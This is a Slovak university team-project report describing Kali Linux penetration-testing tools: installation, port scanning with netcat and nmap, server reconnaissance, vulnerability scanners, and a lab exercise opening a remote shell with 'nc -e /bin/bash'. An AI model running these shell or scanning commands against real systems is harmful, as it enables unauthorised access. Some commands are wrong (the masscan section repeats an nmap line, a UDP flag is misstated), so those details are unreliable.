Slovenská technická univerzita v Bratislave
Fakulta informatiky a informačných technológií
Ilkovičova 2, 842 16 Bratislava 4

Nástroje pre kybernetickú ochranu

Offenzívna obrana a analýza slabých miest v systéme

Jakub Perdek

Študijný program: Informatika
Ročník: 4
Krúžok: Str 14:00, DIGILAB
Predmet: Tímový projekt
Vedúci projektu: Ing. Pavol Helebrandt Phd.
Ak. rok: 2020/2021

1. Kali linux pre penetračné testovanie

O nástroji

Kali je nástroj, ktorý sa používa pre penetračné testovanie. Používa operačný systém Debian Linux. Rôzne programy pre testovanie, ale hlavne ofenzívu sú buď predinštalované alebo je ich možné doinštalovať. Ich funkcionalita často presahuje bežnú funkcionalitu, ktorú má konkrétny program napríklad na operačnom systéme Ubuntu alebo Windowse. Príkladom môže byť napríklad netcad s možnosťou použiť prepínač -e (exec), pri pripojení k terminálu z cudzieho počítača.

Inštalácia

a. Nainštalujeme si VirtualBox najnovšiu verziu zo sekcie **VirtualBox6.1.14 platform packages** pre konkrétny operačný systém.
https://www.virtualbox.org/wiki/Downloads
b. Stiahneme a nainštalujeme Kali pre VirtualBox. Na nižšie uvedenje stránke rozbalíme ponuku pre VirtualBox a klikneme na príslušnú verziu **Kali Linux VirtualBox**.
https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/#1572305786534-030ce714-cc3b
c. Z rovnakej stránky pre inštaláciu VirtualBoxu stiahneme extension pre VirtualBox zo sekcie **VirtualBox 6.1.14 Oracle VM VirtualBox Extension Pack**
https://www.virtualbox.org/wiki/Downloads
d. Spustíme pomocou VirtualBoxu Kali a prihlásime sa zadaním používateľského mena a hesla:
Login: kali
Password: kali
e. Spustíme príkazy pre update v prostredí a urobíme ďalšie konfigurácie.
sudo apt update
apt list –upgradable

2. Pomocné nástroje pre Kali

Pomocou príkazového riadka je možné spustiť východzí prehliadač pre Kali, ktorým je firefox použitím príkazu firefox. Následne je možné stiahnuť potrebné programy, ako napríklad winrar štandardne pomocou prehliadača.

3. Nástroje pre skenovanie portov

Pre skenovanie portov existuje niekoľko nástrojov. Niektoré dokážu určiť aj zraniteľnosti systému, pri niektorých to nie je primárny cieľ. Najznámejšími nástrojmi pre skenovanie portov sú nmap, netcat a masscan.

netcat

Možno s ním skenovať TCP aj UDP porty. Primárne však nie je určený na odhaľovanie zraniteľností pri skenovaní. Napríklad skenovanie TCP portov 3337-3392 na zariadení s IP adresou 192.-----.----.---- možno vykonať použitím prepínača -v nasledovným príkazom:

nc -nvv -w 1 -z 192.-----.----.---- 3337-3392

Pre skenovanie UDP portov na zariadení s IP adresou 192.-----.----.---- možno použiť prepínač -u nasledovným príkazom:

nc -nv -u -z -w 1 192.-----.----.---- 1-65565

nmap

Nástroj určený na skenovanie portov a odhaľovanie zraniteľností v systéme.
Skenovanie TCP portov možno zahájiť pre zariadenie na ip adrese 192.---.----.---- príkazom:

nmap -sT 192.---.----.---- -Pn

Rovnako pre skenovanie UDP portov bude príkaz namiesto prepínaču -sT obsahovať prepínač -sT

sudo nmap -sU 192.----.----.---- -Pn

Oboje je možné dosiahnuť pomocou zadaním obidvoch prepínačov:

sudo nmap -sS -sU 192.----.----.---- -Pn

Stealth skenovanie

Skenovanie, ktoré nedokončí three way handshake v TCP spojení. Posiela SYN pakety na rôzne porty, ale neposiela finálny ACK paket, iba prijíma SYN-ACK. Na základe odpovede vie zistiť, či je konkrétny port otvorený. Pre aktivovanie je potrebné použiť prepínač -sS.

sudo nmap -sS 192.168.----.----

masscan

Ďalší program pre skenovanie portov a nachádzanie zraniteľností. Skenovanie možno zahájiť pomocou nasledovného príkazu:

sudo nmap -sS 192.168.----.----

4. Nástroje pre analýzu informácií o serveroch

V ofenzívnej bezpečnosti je potrebné pri zisťovaní slabých stránok získať informácie o konkrétnom serveri. Konkrétne informácie o type bežiaceho systému, akým môže byť napríklad Apache, ale aj ďalšie informácie. Tie môžu poslúžiť pre zisťovanie slabých stránok konkrétneho servera.

Analýza hlavičiek v odozve

V prehliadači pri návšteve servera otvoríme konzolu s ladiacimi nástrojmi stlačením klávesy F12. Rozšírime si konzolu a prepneme sa na kartu network. Rozkliknete nejaký request a zobrazí sa informácie o ňom. Jedno z políčok obsahuje aj informácie o type servera. Napríklad server, ktorý využíva uložto je Golfe2. Nechýbajú ani informácie o šifrovaní a podobne.

Analýza URL

Možno na základe nich zistiť použitý programovací jazyk

Sitemapy

Informácie o rozložení stránok konkrétneho webu pre webové crawlery.

Robots.txt

Informácia pre webové crawlery o tom, čo môžu a čo by nemali parsovať, respektíve prechádzať. Crawler nemusí uposlúchnuť nariadenia v tomto súbore, ale pre etickosť prechádzania webu, by pravidlá v tomto súbore mali byť dodržané.

5. Nástroje pre použitie vzdialeného stroja prostredníctvom konzoly

O nástrojoch

Pre túto úlohu je možné použiť netcad ale aj telnet.

Použitie

1. Zistenie ip adresy v terminály pomocou príkazov špecifických pre konkrétny systém.
   Ubuntu: ifconfig
   Windows: ipconfig
   Kali linux: ip

   Poznámka: V Kali linuxe bežiacom na virtuálke je potrebné mať ako pripojenie mať nastavný Bridge (Brifge je dostupný od 6. Verzie Virtualboxu a nastaviteľný v konfigurácii Virtualboxu).

2. Stiahnutie netcadu pre Windows z github repozitára dostupného na adrese https://github.com/diegocr/netcat. Použitie je rovnaké ako na linuxe, len je potrebné volať exe súbor **nc.exe** spolu s cestou k nemu, alebo mať nastavenú cestu k nemu v premenných systému. Jeho funkcionalita je obmedzená.
3. Overenie či je internetové spojenie medzi zistenými ip adresami priepustné možno realizovať pomocou príkazu ping.
   Napríklad: ping 192.----.----.----
4. V prípade, že spojenie nefunguje je potrebné povoliť zdieľanie súborov a tlačiarní ako i v niektorých prípadoch firewall.
5. Zahájenie počúvania na porte možno pomocou netcadu realizovať pomocou nasledovného príkazu:
   nc -nlvp 5555 (alebo vo windowse path\to\nc.exe -nlvp 4444)

   Cieľom je sprístupniť prístup k terminálu, preto je protrebná funkcionalita prepínača exec dostupná len v niektorých veriách príkazu nc, práve kôli bezpečnostnému riziku. Je napríklad dostupná v Kali linux, ale nie je v Ubuntu a vo verzii pre Windows.

   nc -nlvp 5555 -e /bin/bash
   (alebo vo windowse path\to\nc.exe -nlvp 4444 -e /bin/bash)

6. Pripojenie sa k poslucháčovi a získanie prístupu k jeho príkazovému riadu. (Musí byť na niektorej strane použitý prepínač -e, používateľ je teda schopný pripojiť sa k svojmu Kali linux na virtuálke pomocou jeho operačného sytému a zísať prístup k príkazovému riadku)
   Napríklad:
   nc -nv 192.----.----.---- 5555
   Alebo pre Windows:

nc.exe -nv 192.----.----.---- 5555 -e /bin/bash
nc.exe -nv 192.----.----.---- 5555

6. Nástroje na testovanie zraniteľností

Pre obranu alebo útok je potrebné nájsť zraniteľnosti v systéme. Existujú analyzátory umožňujúce takéto zraniteľnosti identifikovať. Okrem nich existujú aj nástroje umožňujúce využiť konkrétnu zraniteľnosť za účelom infiltrácie do systému. Skenery slabín vyžadujú veľa zdrojov (2 a viac CPU jadier a 8 a viac GB RAM).

burpsuite

Silný proxi nástroj s GUI rozhraním umožňujúci manuálne testovanie vo svojej free verzii. V Kali môžeme tento nástroj spustiť pomocou príkazu burpsuite.

Nessus

Schopný priemyslený štandard na odhaľovanie slabín v systéme. Pre jeho používanie je potrebná registrácia. Jeho nároky sú väčšie, a preto je pre jeho fungovanie potrebné mať výkon úmerný priemernému hernému počítaču. Pri inštalácii by mal byť Nessus prístupný na adrese https://localhost :8834. Nástroj umožňuje niekoľko rôznych skenovaní. Medzi nimi základné skenovanie siete a pokročilé skenovanie.

Základný sken siete

Skenuje iba základné porty. Možno ho nastaviť na skenovanie všetkých portov. Rovnako možno nastaviť jeho správanie v prípade možnosti prelomiť prihlasovacie údaje. Nastaviteľné sú aj ďalšie kontroly napríklad ako autentifikovaný sken alebo neautentifikovaný sken. Autentifikovaný sken je presnejší, ale potrebuje autentifikačné údaje do systému. Po skenovaní nám Nessus sprístupní zoznam slabých stránok systému.

NSE - nmap scripting engine

Nástroj umožňujúci automatickú detekciu a validáciu slabých stránok systému. Nie je úplne rozvinutý, ale disponuje rozsiahlou knižnicou skriptov pre odhaľovanie zraniteľností. Skripty sú napísané v jazyku LUA. Rôzne skripty sú schopné spôsobiť pád cieľa po ich aplikácii. Obsahom sú rôzne techniky, napríklad tie využívajúce hrubú silu a autentifikáciu.

sudo nmap --script vuln 192.168.1.----